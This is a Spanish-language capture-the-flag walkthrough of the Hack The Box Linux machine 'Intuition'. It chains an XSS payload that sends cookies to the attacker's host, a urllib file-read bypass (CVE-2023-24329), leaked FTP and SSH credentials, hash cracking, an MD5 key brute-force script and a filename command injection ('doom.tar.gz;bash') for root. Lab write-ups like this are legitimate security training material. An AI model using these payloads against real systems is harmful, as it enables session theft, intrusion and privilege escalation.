Intuition
OS: Linux
Dificultad: Difícil
Puntos: 40
Nmap
nmap -v -p 22,80 -sV -sC -oN nmap.txt 10.10.11.15
Nmap scan report for 10.10.11.15
Host is up (0.070s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
La pagina web nos muestra una funcion para subir archivos.
Subdomain enum
Utilizamos ffuf para enumerar subdomnios y encontramos lo siguiente.
ffuf -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.comprezzor.htb" -u http://comprezzor.htb -fw 6
auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 74ms]
dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 76ms]
report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 73ms]
Los agregamos a nuestro archivo hosts y posteriormente enumeramos que es lo que tienen. En el dominio auth nos muestra un panel de login y tambien de registro por lo tanto registramos un usuario.
Una vez autenticado podemos acceder al dominio report con un formulario.
XSS Steal Cookie
Probamos un payload para robar cookie con xss el cual funciona y obtenemos la una cookie.
<script>new Image().src="http://10.10.14.112/cookie.php?c="+document.cookie;</script>
┌──(root㉿kali)-[~/htb/Intuition]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.15 - - [02/May/2024 06:47:19] code 404, message File not found
10.10.11.15 - - [02/May/2024 06:47:19] "GET /cookie.php?c=user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 404 -
Modificamos nuestra cookie y ahora podemos acceder a dashboard.
XSS Steal admin cookie
Despues de jugar con la aplicacion nos percatamos que si enviamos un nuevo bug report podemos ver que es el usuario adam. En el portal dashboard podemos establecer la prioridad del reporte a 1 esto significa que lo revisara el admin por lo tanto podemos injectar el mismo payload y cambiar la prioridad para obtener la cookie del admin.
- Generamos un nuevo report bug con el payload
<script>new Image().src="http://10.10.14.112/cookie.php?c="+document.cookie;</script>
- Modificamos la prioridad del report.
POST /change_priority?report_id=78&priority_level=1 HTTP/1.1
Host: dashboard.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://dashboard.comprezzor.htb
Connection: close
Referer: http://dashboard.comprezzor.htb/report/5
Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
Upgrade-Insecure-Requests: 1
- Una vez modifica esperamos a que la abra el admin y obtenemos una nueva cookie.
10.10.11.15 - - [02/May/2024 07:03:22] code 404, message File not found
10.10.11.15 - - [02/May/2024 07:03:22] "GET /cookie.php?c=user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5 HTTP/1.1" 404 -
- Modificamos la cookie y ahora tenemos acceso a otras funciones.
Python-urllib 3.11 (CVE-2023–24329)
Entre las funciones que estan en la aplicacion web el mas interesante es Create PDF Report.
Utilizando nuestro servidor web identificamos que se usa python urllib 3.11.
┌──(root㉿kali)-[~/htb/Intuition]
└─# nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.112] from (UNKNOWN) [10.10.11.15] 35160
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.14.112
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close
Investigando la version cuenta con un exploit publico CVE-2023–24329 que nos permite hacer bypass de la url y leer archivos locales solo agregando un espacio.
POST /create_pdf_report HTTP/1.1
Host: dashboard.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://dashboard.comprezzor.htb
Connection: close
Referer: http://dashboard.comprezzor.htb/create_pdf_report
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Upgrade-Insecure-Requests: 1
report_url= file:///etc/passwd
Read Code
Con los siguientes payload podemos obtener el codigo de la aplicacion web.
file:///proc/self/cmdline
file:///app/code/app.py
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report
import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB ALLOWED_EXTENSIONS = {'txt','pdf', 'docx'}
# Add more allowed file extensions if needed app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':
app.run(debug=False,host="0.0.0.0", port=80)
Despues de enumerar varios archivos llegamos al siguiente que contiene un usuario y password FTP.
file:///app/code/blueprints/dashboard/dashboard.py
...
...
os.path.relpath(file_path, source_directory)
zipf.write(file_path, arcname=arcname)
try:
ftp = FTP('ftp.local')
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
ftp.cwd('/')
with open(backup_filename, 'rb') as file:
ftp.storbinary(f'STOR {backup_filename}', file)
ftp.quit()
os.remove(backup_filename)
flash('Backup and upload completed successfully!', 'success')
except
...
...
FTP Enumeration
Con esas credenciales podemos enumerar archivos ftp atraves de la url.
ftp://ftp_admin:u3jai8y71s2@ftp.local
Vemos varios archivos y los descargamos siguiendo el mismo flujo.
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
Obtenemos una llave rsa y una passphrase para acceder por SSH.
Y27SH19HDIWD
┌──(root㉿kali)-[~/htb/Intuition]
└─# ssh -i id_rsa dev_acc@10.10.11.15
Enter passphrase for key 'id_rsa':
Last login: Thu May 2 15:27:20 2024 from 10.10.14.112
dev_acc@intuition:~$ id
uid=1001(dev_acc) gid=1001(dev_acc) groups=1001(dev_acc)
dev_acc@intuition:~$ cat user.txt
fac3ffe6cbdf7fbee4024f526a7ee3e2
dev_acc@intuition:~$
Lateral Movement
Enumeracion de puertos locales
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 172.21.0.1:21 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:21 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:36231 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Los usuarios lopez y adam pertencen al grupo sys-adm.
uid=1002(adam) gid=1002(adam) groups=1002(adam),1004(sys-adm)
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)
Encontramos archivos sqlite que contiene hashes.
Found /var/www/app/blueprints/auth/users.db
Found /var/www/app/blueprints/report/reports.db
dev_acc@intuition:~$ strings /var/www/app/blueprints/auth/users.db
SQLite format 3
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
Etableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
role TEXT DEFAULT 'user'
indexsqlite_autoindex_users_1users
adamsha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43webdevh
adminsha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606admin
adam
Cracking hash
Podemos crackear el hash por medio de hashcat.
hashcat -m 30120 hash.txt /usr/share/wordlists/rockyou.txt
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 30120 (Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)))
Hash.Target......: sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc...89fc43
Time.Started.....: Thu May 2 12:19:03 2024 (6 secs)
Time.Estimated...: Thu May 2 12:19:09 2024 (0 secs)
FTP Access
Con las credenciales podemos acceder por FTP y encontramos los siguientes archivos.
ftp localhost
adam : adam gray
El archivo run-test.sh contiene la siguiente informacion.
!/bin/bash
# List playbooks
./runner1 list
# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"
# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
El archivo runner1.c contiene informacion relevante para obtener los ultimos digitos de la key.
#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
Cracking key
Con el siguiente script podemos obtener los utlimos digitos.
import hashlib
import itertools
import string
# Known information
auth_key_prefix = "UHI75GHI"
known_md5_hash = "0feda17076d793c2ef2870d7427ad4ed"
# Function to check if the generated hash matches the known hash
def is_correct_auth_key(key, known_hash):
# Calculate the MD5 hash of the key
generated_hash = hashlib.md5(key.encode()).hexdigest()
return generated_hash == known_hash
# Brute-forcing the remaining part of the auth key
charset = string.ascii_letters + string.digits
key_length = 4
for guess in itertools.product(charset, repeat=key_length):
# Generate the full key by appending the guess to the known prefix
full_key = f"{auth_key_prefix}{''.join(guess)}"
# Check if the generated key is correct
if is_correct_auth_key(full_key, known_md5_hash):
print(f"Found auth key: {full_key}")
break
else:
print("Auth key not found.")
┌──(root㉿kali)-[~/htb/Intuition]
└─# python3 get-key.py
Found auth key: UHI75GHINKOP
Tambien podemos ver algunos archivos logs que es posible leer.
/var/log/journal/ebecc789f6824e8caa134b39574ba839/user-1001.journal
/var/log/journal/ebecc789f6824e8caa134b39574ba839/system.journal
/var/log/suricata/eve.json
/var/log/suricata/stats.log
/var/log/suricata/fast.log
/var/log/nginx/access.log
Despues de indagar mucho encontramos el password del usuario lopez en los logs.
dev_acc@intuition:~/tmp$ zgrep -i lopez /var/log/suricata/*
...
...
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
Nos podemos conectar con las credenciales.
lopez : Lopezz1992%123
┌──(root㉿kali)-[~/htb/Intuition]
└─# ssh lopez@10.10.11.15
lopez@10.10.11.15's password:
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
lopez@intuition:~$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)
Privilege Escalation
Lopez tiene privilegios sudo.
lopez@intuition:~$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
Despues de investigar cosas relacionadas con ansible podemos crear nuestro json para realizar ciertas acciones.
{
"run": {
"action": "list",
"auth_code": "UHI75GHINKOP"
}
}
lopez@intuition:~$ sudo /opt/runner2/runner2 test.json
1: apt_update.yml
Podemos obtener ejecucion de comando de la siguiente forma. Nos apoyamos del siguiente template y lo descargamos en la maquina. Una vez descargado lo renombramos de la siguiente forma.
lopez@intuition:~$ wget 10.10.14.112/doom.tar.gz
--2024-05-02 19:45:09-- http://10.10.14.112/doom.tar.gz
Connecting to 10.10.14.112:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15857 (15K) [application/gzip]
Saving to: ‘doom.tar.gz’
doom.tar.gz 100%[========================================================>] 15.49K --.-KB/s in 0.07s
2024-05-02 19:45:10 (220 KB/s) - ‘doom.tar.gz’ saved [15857/15857]
lopez@intuition:~$ mv doom.tar.gz doom.tar.gz\;bash
lopez@intuition:~$ ls
'doom.tar.gz;bash' test.json
Ahora modificamos nuestro archivo json.
{
"run": {
"action":"install",
"role_file":"doom.tar.gz;bash"
},
"auth_code": "UHI75GHINKOP"
}
Ejecutamos el comando para escalar a root.
sudo /opt/runner2/runner2 test.json